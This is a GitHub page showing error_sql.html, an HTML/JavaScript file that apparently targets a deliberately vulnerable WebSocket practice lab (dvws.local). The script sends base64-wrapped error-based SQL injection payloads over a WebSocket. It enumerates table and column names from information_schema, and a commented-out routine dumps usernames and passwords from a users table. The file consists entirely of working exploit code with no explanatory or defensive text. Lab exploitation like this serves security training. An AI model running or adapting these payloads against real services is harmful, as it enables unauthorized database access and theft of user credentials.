-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy patherror_sql.html
More file actions
100 lines (86 loc) · 2.28 KB
/
Copy patherror_sql.html
File metadata and controls
100 lines (86 loc) · 2.28 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
<html>
<body>
<script>
document.addEventListener("DOMContentLoaded", function(event) {
var ws = new WebSocket("ws://dvws.local:8080/authenticate-user");
function parseResponse(response) {
var parts = response.data.split("'");
if (parts.length > 1) {
return parts[1].slice(0, -1);
}
return null;
}
function send(msg) {
var sql = '{"auth_user":"' + btoa(msg) + '=","auth_pass":""}';
ws.send(sql);
}
function selectUsers(count) {
var limit = 0;
function prepareQuery() {
return "' or 1=1 group by concat((select concat(username,' ',password) from users limit " + limit + ",1), floor(rand()*2)) having min(0) -- ";
}
ws.onmessage = function(ev) {
var user = parseResponse(ev);
if (user) {
limit++;
console.log(user);
if (limit < count) {
send(prepareQuery());
}
} else {
send(prepareQuery());
}
};
send(prepareQuery());
}
function countUsers(callback) {
var query = "' or 1=1 group by concat((select count(*) from users), floor(rand()*2)) having min(0) -- ";
ws.onmessage = function(ev) {
var count = parseResponse(ev);
if (count) {
callback(count);
} else {
send(query);
}
};
send(query);
}
function selectTables(count) {
var limit = 0;
function prepareQuery() {
return "' or 1=1 group by concat((select concat(table_name, ' ', column_name) FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema' limit " + limit + ",1), floor(rand()*2)) having min(0) -- ";
}
ws.onmessage = function(ev) {
var table = parseResponse(ev);
if (table) {
console.log(table);
limit += 1;
if (limit < count) {
send(prepareQuery());
}
} else {
send(prepareQuery());
}
};
send(prepareQuery());
}
function countTables(callback) {
var countQuery = "' or 1=1 group by concat((select count(*) FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'), floor(rand()*2)) having min(0) -- ";
ws.onmessage = function(ev) {
var count = parseResponse(ev);
if (count) {
callback(count);
} else {
send(countQuery);
}
};
send(countQuery);
}
ws.onopen = function() {
countTables(selectTables);
// countUsers(selectUsers);
};
});
</script>
</body>
</html>